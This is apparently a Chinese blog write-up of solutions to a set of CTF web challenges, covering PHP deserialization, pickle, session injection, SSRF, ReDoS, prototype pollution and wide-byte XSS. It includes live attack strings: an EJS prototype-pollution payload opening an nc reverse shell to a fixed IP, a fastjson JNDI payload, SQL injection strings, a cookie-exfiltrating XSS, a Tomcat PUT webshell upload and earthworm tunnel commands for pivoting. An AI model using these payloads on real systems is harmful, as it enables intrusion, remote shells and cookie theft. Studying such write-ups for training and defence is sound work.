各校大佬锤爆我Orz
easy_trick_gzmtu
查看源码<!--?time=Y或者?time=2020-->
提示了date('Y')=2020,而在date()中,可以通过\转义字符防止被解释
于是在每个字符前加一个\,简单回显注即可
然后通过file://localhost/进行SSRF读取本地文件
flag无法直接读,通过file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
获得一段源码
1  | <?php  | 
在正则中界定符是/n, 会把输入当成多行。而这个$会匹配换行符, preg_match()+strpos()可以直接用%0a绕过calc()里面则是可以用!!'@'来拼凑,直接取反也可
1  | <?php  | 
payload:?pass=aa.passwd%0A20200202&code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D
hardphp
webct
这题没拿下源码,看wp来写的
先是test_sql.php
1  | <?php  | 
用于连接远程数据库
接着看到Db类
1  | class Db  | 
可以看到用了select 1;来测试远程数据库是否开启,这里自然就想到用rogue mysql server来读取服务器文件
1  | <?php  | 
再看到上传文件处,跟着进入到几个相关联的类
1  | class File  | 
这里看到Listfile类中有__call(),可以通过控制file属性来执行任意命令
1  | class Listfile  | 
而Fileupload类中的__destruct()将file属性设为Listfile类后即可触发
1  | function __destruct()  | 
既然能上传文件,又有反序列化,那就可以用到phar了
不过这里需要有能够触发phar的位置,这里还是要看xzs师傅的骚操作
Phar与Stream Wrapper造成PHP RCE的深入挖掘
通过MYSQL的LOAD DATA LOCAL INFILE触发
1  | <?php  | 
生成文件后上传
Rogue-MySql-Server
修改读取的文件为phar://./uploads/hash/test.jpg
然后访问伪造数据库即可
webtmp
题目源码
1  | import base64  | 
这题主要参考这篇文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
先一这题为例子分析一下pickle反序列化
1  | import pickle  | 
输出
1  | b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.'  | 
\x80 读到这个操作符后,机器继续往下读取一个字符也就是\x03\x03 是使用的序列化协议版本,pickle一共有0、2、3、4号版本协议,默认为3号,\x03就是使用3号协议。同时协议是向前兼容的,0号协议无论几号协议都是能够解析的c 是GLOBAL操作符,用于引入模块。机器读到后会继续读取两个连续的字符串module和name,以\n分隔,然后放入栈中。这里引入的是__main__.Animalq\x00 没查到是什么,看起来是来分隔命令的) 往栈里压入一个一个空元组\x81 将栈顶的空元组弹出作为args,然后再将栈顶的class弹出记为cls,然后进行实例化再压入栈。也就是将__main__.Animal实例化
此时实例化的Animal里面是空的
继续分析
} 往栈压入一个空字典( 是MARK操作符,将当前栈作为一个list压入前序栈,然后清空当前栈(这里的当前栈和前序栈文章里有说)X 读入一个二进制字符串,以q\x0x结尾。执行了四个X后,当前栈由底到顶就是name kotori category umiu 将当前栈的数据pop到空数组arr中,执行后arr=['name','kotori','category','umi']。然后回到MARK前的状态,也就是当前栈中存有Animal和一个空字典。最后两个为一组键值对读取arr存入空字典中,此时空字典dict={'name':'kotori','category':'umi'}b 将栈顶元素存入state,然后弹掉,也就是将dict存入state。然后再将栈顶元素存入inst,弹掉,也就是将Animal存入inst。然后用state更新对象inst,也就是给实例化的空对象填入内容. 弹出反序列化后的对象,结束反序列化
这里在用state更新对象inst处有安全问题
1  | def load_build(self):  | 
看到pickle源码的load_build()
可以看到当inst(实例化的类)中有__setstate__属性时,这会执行setstate(),并以state的值的参数。也就是说,如果能控制__setstate__属性的属性值为系统函数,并且state为可控的,就能够执行任意命令

文章中给出这么一个操作,设置state={'__setstate__':'os.system'},然后BUILD后实例化中的类就有了__setstate__属性。然后将ls /压入栈,再进行一次BUILD。此时state='ls /',而inst中也有__setstate__属性,值为os.system。这样就会执行setstate(state),也就是os.system(’ls /’),读取了根目录
不过这个和下面解这题的内容没太大关系,只是我一开始没理解这里记录一下而已。不过这个方法解这题应该也是可行的
1  | @app.route('/', methods=['GET', 'POST'])  | 
这题看/部分,需要反序列化后的结果和用密钥对实例化的结果相同才给flag
文章中说到的__reduce_执行任意函数需要指令码R,而这题中过滤掉了
1  | if b'R' in base64.b64decode(pickle_data):  | 
同时由于find_class()被重写,只能够由__main__引入,直接指向secret中的值是不可能了
1  | class RestrictedUnpickler(pickle.Unpickler):  | 
这里利用文章中的另一种方式,篡改module
虽然只能由__main__引入,但import进来的secret也是属于__main__的。于是可以通过c指令给secret中的属性赋值
这里由于原题给出的源码不太好复现,就改了一下
1  | # -*- coding:utf8 -*-  | 
先序列化一个正常的Animal
1  | import pickle  | 
\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.
secret和Animal差不多,改个名,把)和\x81去掉即可
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub.
接着BUILD指令后接上POP指令,将sercet弹出,防止反序列化结束时有多个实例导致出错
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0.
然后接上去掉\x80\x03的Animal
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.
这里发现好像q\x0x并不要求每次增1
1  | import pickle  | 
测试一下
1  | 0: \x80 PROTO 3  | 
没问题
于是base64加密放入
1  | if __name__ == '__main__':  | 

结果成功覆盖
hackme
www.zip获得源码
init.php中设置了session的序列化类型
1  | <?php  | 
猜测是session反序列化漏洞
而在profile.php中找到了不同的序列方式
1  | <?php  | 
同时可以看到,当admin为1是,跳转/core/index.php中
/core/index.php中
1  | <?php  | 
会对session进行检查
1  | <?php  | 
同时也是使用php方式的序列化
1  | function check_session($session)  | 
check_session()检查session中需要有一个值为数组,且数组中为admin的键的值为1
然后再去到upload_sign.php
1  | <?php  | 
这里将POST得到的sign放入session中,可以利用这里注入session
于是构造一个符合条件的sign值|a:1:{s:5:"admin";i:1;}sign|s:4:"xxxx";}
这里将第一个键值设为数组,且里面只有一个admin的键值对,这样就可以通过check_session()
设置完访问一次/profile.php再去访问/core/index.php,获得源码
1  | require_once('./init.php');  | 
Hitcon的题,不过需要想办法绕过前面的
一开始还想通过访问profile.php,设置sign值来执行命令,但发现并不能携带cookie。gopher协议也是因为file_get_contents()无法urldecode无法携带cookie。卡了很久后大佬提供了一个绕过方式compress.zlib://data:@127.0.0.1/plain;base64,
我的SSRF太菜了Orz,这里记一下
协议被过滤可以尝试使用compress.bzip2://或compress.zlib://搭载在其它协议的前面进行绕过
于是上脚本getshell得到flag
1  | # -*-coding:utf8-*-  | 
baby_java
Java题莫得环境只能列点了
首先是一个XXE,能打拿到使用的依赖
1  | Method%uFF1A post  | 
这里利用fastjson(<=1.2.61)的JNDI注入漏洞
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}
这样进行利用即可,这里由于过滤了type,用\x74ype代替。prefix的过滤则是利用fastjson中parseField函数会去掉字符串中的-和开头的_,于是添加一个-或者_即可绕过
由于有commons collections3.1,直接远程开个JRMP弹shell即可
1  | <dependency>  | 
为了本地复现这个漏洞前前后后整spring框架这些整了快一个星期,最后还是因为高版本 Java中会被trustURLCodebase拦截,最终复现失败Orz
不过java小白这里还是记一下JRMP的弹shell方式
将编译好的恶意class放到tomcat的/webapps/ROOT/WEB-INF/classes/目录下,classes目录要自己创建
1  | public class Exploit {  | 
然后web.xml中配置class的访问路径(这里的.class可能是不需要的)
1  | <servlet>  | 
然后下载marshalsec
使用maven安装mvn clean package -DskipTests
装完后就可以启用rmi或者ladp服务,然后让目标机访问即可
1  | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099  | 
fmkq
进入是源码
1  | <?php  | 
过滤了各种协议,head的值需要连接curl_init后不影响函数执行,同时output的输出值只会为int型需要绕过
通过fuzz发现\不会影响,好像是命名空间的原因,所有内置函数都于根目录下sprintf()可以通过extract()对begin进行变量覆盖为%s%,使后面的%d无效,output以string型输出
搞定这两个后一直在找怎么绕过,但好像并没用什么绕过的好方法。没想到这题又是要扫内网
扫端口可以发现8080端口能够使用

当为vip时可以读取任意文件,非vip则只能读取/tmp/目录下的文件。这里{file}提示的是python的格式化字符串漏洞了
1  | class a:  | 
一个简单的小栗子
输出为:hello a and b
这里由于通过format()对c注入了对象a,于是{}中的c.a和c.b就是对象a中的属性a和b
这题中后端注入的是file,但不知道里面有什么,于是用{file.__dict__}遍历对象{'vipcode':'0','file':,'vip':}
然后再{file.vip.__dict__}遍历一下vip{'truevipcode':'JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy'}
获得真vip的vipcode值
?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
扫根目录,得知flag在fl4g_1s_h3re_u_wi11_rua目录下但无法读取
于是拿一下源码,读到readfile.py
1  | current_folder_file = []  | 
可以看到这里filepath又用了一次格式字符串,注入的self.file为文件名,而过滤的是路径中的fl4g
要读取的路径是/fl4g_1s_h3re_u_wi11_rua/flag,self.file的值就为flag,于是取self.file[0]得到f接在路径上,这样就能绕过fl4g的检查
于是payload:?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
我觉得应该是这样,但看大佬的payload是{vipfile.file[0]},但vipfile不是本身就是文件名了吗?
还有一种方式是取读到全局变量current_folder_file/{vipfile.__class__.__init__.__globals__[current_folder_file] [21]}/flag
由于路径错误出错,current_folder_file值依旧是扫根目录的文件名集。fl4g_1s_h3re_u_wi11_rua为第22个文件,于是就能读到/fl4g_1s_h3re_u_wi11_rua/flag
dooog
这题是模拟了一个kerberos认证,了解kerberos认证做起来会快一些
kerberos认证原理—讲的非常细致,易懂
这题的问题出在这里
1  | if int(time.time()) - data['timestamp'] < 60:  | 
这里限制timestamp未超时时,cmd只能为whoamin和ls。但却没有对超时进行判断,那只需要在超时后再发出请求即可执行命令
于是看整一个kerberos认证流程
1  | def register():  | 
现先向KDC发送username和master_key,KDC端会保存username和master_key
1  | def TGT_vender():  | 
KDC使用master_key解密发送过去的authenticator,并用username对客户端进行认证。然后使用master_key加密session_key,再用SECRET_KEY加密username、session_key、timestamp作为TGT,然后将TGT和session_key_enc发送回客户端。此时客户端可以用自己的master_key解密session_key_enc得到session_key,此后使用session_key来加密数据,TGT则作为认证
1  | def Ticket_vender():  | 
服务器端会接收username、authenticator、TGT和cmd,然后用SECRET_KEY解密TGT得到username、session_key、timestamp,再用session_key解密authenticator,然后进行认证。最后将cmd发送到cmd_server执行
整个过程我们需要先获取本地生成的master_key,然后在访问KDC后获取session_key_enc、TGT,并使用master_key解密session_key_enc得到session_key。最后在authenticator中设置一个超时时间,再用session_key加密,然后带上其它数据发送给服务器端即可执行命令
nweb
这题主要考的是渗透
截注册接口的包,将type修改为110注册账号,登录即可进入flag.phpflag.php处的搜索框可以盲注,双写绕过select和from过滤,能d得到flag的大部分
然后再通过盲注拿下admin的账号密码admin whoamiadmin,登录admin.php(通过扫目录可以扫到)
登入后可以扫描数据库,于是rogue mysql server一波读flag.php源码得到flag剩余部分
GuessGame
/static/app.js给了源码
1  | function log(userInfo) {  | 
先看到log()中使用了merge(),这里可以进行原型链污染,于是看哪里用到了log()
1  | app.post("/", function(req, res) {  | 
在/处找到,又是toUpperCase(),用ı进行绕过即可。接着找要污染的地方
1  | app.post("/verifyFlag", function(req, res) {  | 
看到/verifyFlag处,在判断config.enableReg,noDos(regExp)后对flag进行了正则匹配,虽然没回显但只有这个地方与flag有关。
于是找到config
1  | var config = {  | 
发现enableReg被注释了,那应该就是要污染这里了
于是{"user":{"username": "admın666","__proto__": {"enableReg": true}}}
污染之后就能通过config.enableReg的判断
但这里就算有否匹配成功结果都是一样的,实际上这里的noDos()在提示我们使用ReDOS攻击
ReDOS初探
ReDOS攻击简单来说就是通过构造正则表达式,使其无法迅速处理导致延时甚至DOS
这题可以用这个表达式^(?=.{0}g)((.*)*)*!$来一位一位跑出结果
1  | #!/usr/bin/env python  | 
本地测试延时大概是2s,再套一个就跑不出来了
像^(?=g)((.*)*)*!$这样也可以
除了ReDOS,还可以直接利用ejs-rce,直接弹shell。由于这题使用的是alpine,不能直接bash弹shell,这里记一下V&N大佬们的payload{"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}}
PHP-UAF
和GYCTF那个差不多,就是换了个脚本phpinfo()可以看到版本的7.4.2,一堆disable_functions,JSON UAF使用不了
exploits/php7-backtrace-bypass/exploit.php
但同个仓库下有新版本的能用,当时没细看血亏,改个命令就能用
可惜了清华大佬还想我们调试
sqlcheckin
给了源码
1  | <?php  | 
标准的PDO预处理错误用法,真正的随便注
万能密码即可username=admin'--+&password=
不过wp给出了一种挺有趣的绕过方式username=admin'and(1-&password=)-'
生成的语句是SELECT username from users where username='admin'and(1-' and password=')-''
通过单引包括的为字符串,int型减去字符型以开头的数字为准,这里就是1-0-0。于是最终的查询就是SELECT username from users where username='admin'and(1)
nothardweb
分析源码,可以看到目标是要将username设置为admin
1  | <?php  | 
这里是一个des-cbc加密,我们能够得到加密后的结果
1  | <?php  | 
再通过user.php我们可以获得明文,由于没有给iv应该不是要CBC翻转,那就想办法去搞到key和iv了
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
而key是通过mt_rand()与运算生成,之前在hgame也说过有除了爆破的方法去获得mt_rand()的种子
无需暴破还原mt_rand()种子
具体原理看链接,简而言之就是可以通过生成的随机数R0与R227,以及R0前生成的随机数个数,获得种子
脚本来源:mt_rand-reverse
测试一下
1  | <?php  | 
结果:
21822616
1260657684

而题目给了用户的uid表相差也是227,而且提示我们是229名用户

uid可能是用户的key或者mt_seed()结果,都试一下就行了
这里除了这样,由于知道了明文和密文且iv不变,可以拿密文的第一段作为iv,然后去爆破密文第二段,解出为明文第二段则是key。然后再用key去解iv即可
还有一种做法是,由于没有检查SESSIONID是否存在,直接置为空,就没有key和iv,直接空加密即可
登录为admin后,hint.php中提示
1  | I left a shell in 10.10.1.12/index.php  | 
而且可以看到hint.php的源码为
1  | <?php  | 
这里是一个小trick,这里可以传入1
?cc=`$cc`;cmd
截取后为1
`$cc`;
通过eval执行得到$cc的值,就能突破长度执行命令(但我本地并没测试成功,是环境的问题?)
之后wp上给的是用soap进行内网渗透,不过直接通过服务器shell用curl打过去把shell打回来不就行了?
打回shell会在根目录发现hint,又提示了另一台主机10.10.2.13
这里可以利用earthworm进行流量转发,让我们能直接访问10.10.2.13
ew-tunnel
自己公网的服务器上./ew_for_linux -s rcsocks -l 12345 -e 1234
内网的跳板机上./ew_for_linux -s rssocks -d vps_ip -e 1234
然后主机上SOCKS代理设置为vps_ip:12345就可以直接访问到内网的10.10.2.13
至于earthworm脚本去github上搜吧,怕被查水表
进去后是tomcat界面,是CVE-2017-12615的洞(好像又出了个2020的CVE)
CVE-2017-12615
可以通过PUT请求像服务器任意写文件
于是搞一个jsp的马,上传至/1.jsp/
1  | <%  | 
然后10.10.2.13/1.jsp?pwd=023&i=cmd来执行命令即可
easyweb
不知道原题干了啥,这里记录一下考点的东西
首先是java的SSRF

JAVA中可以使用netdoc协议,读取目录
像netdoc:///var/www/html/这样就可以读取到网站根目录的文件
第二个是高版本jdk攻击rmi registry
baby_java也说到了,高版本的jdk由于trustURLCodebase限制无法加载远程库。这里利用Commons Collections 3.1的漏洞(实际上baby_java也是,不过之前没注意到),可以绕过这个限制去加载远程库
具体分析看这里
Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析
不同版本的jdk最后的部分也不一样,用ysoserial生成exp即可
happyvacation
这题没拿到源码,没想到XSS的题也是搞源码,有个.git泄露
CSP限制了只能为同源脚本,但允许内联js,同时交互处有上次文件的地方(不过我好像没看到),绕过方式就很明显了,通过上传脚本引入即可
1  | function __construct(){  | 
虽然上传做了一些过滤,但通过script并不要求要js后缀,随便一个后缀都可以
绕CSP是个小问题,难搞的是message处的过滤
1  | if(isset($user)){  | 
1  | class User{  | 
使用了addslashes()对message进行了处理,这样就没办法直接用’或”绕出了。这里是第一次知道可以用宽字节来绕过,只要在头部设置Content-Type: text/html; charset=GBK;,就可以和sql一样%df绕过
于是寻找一下可以利用的地方
1  | function go(){  | 
UrlHelper类中go()可以控制header(),但pre的值被定为Location:要想办法修改
1  | function __construct(){  | 
在quit.php处有个answer参数
1  | if(isset($_GET['answer'])){  | 
跟进到answer()
1  | class Asker{  | 
这里使用了clone关键字复制了一份user,当回答错误时通过eval()将选项去除,问题就出在这里
php中clone这个关键字的有一个类似于原型链安全问题,只不过原型链是由上影响下,而clone的问题是由下影响上
通过clone这个关键字可以将一个变量直接赋值给另一个变量,某些情况下可以提高代码效率。但当原变量为一个类,而其中一个属性又为另一个类。当克隆变量修改了另一个类中的属性值时,就会导致原变量中,另一个类中的属性值也改变。简单的写一个例子
1  | <?php  | 
这里的输出是222999999,变量a中属性a中属性b的值随着变量b的修改也改变了
回到题目上,pre是user类的url属性指向的类中的一个属性。于是就可以通过修改$this->user->url->pre的值,将$user->url->pre的值修改。将answer设为user->url->pre即可,这样就$user->url->pre = False,而False连接任意字符串都为其本身
然后就是控制location
通过传入referer修改一次referer,再传入referer就可以将值赋给location
1  | if(isset($_GET['answer'])){  | 
于是先修改一波refererquit.php?referer=xxx
然后污染headerquit.php?referer=Content-Type:text/html;charset=GBK;Referer:index&answer=user->url->pre
污染后就可以进行宽字节XSS,先上传一个脚本window.open('http://vps:port/?'+document.cookie);message中其它的过滤用String.fromCharCode()绕过,script引入脚本index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);var c = String.fromCharCode(49,46,119,97,118,101);x=document.createElement(b);x.src=c;document.body.appendChild(x);//
vps接到cookie后登上管理员账号,访问teacher.php算出md5提交即可得到flag
还有另一种简单的方法就是直接覆盖掉black_list,就可以直接上传shell了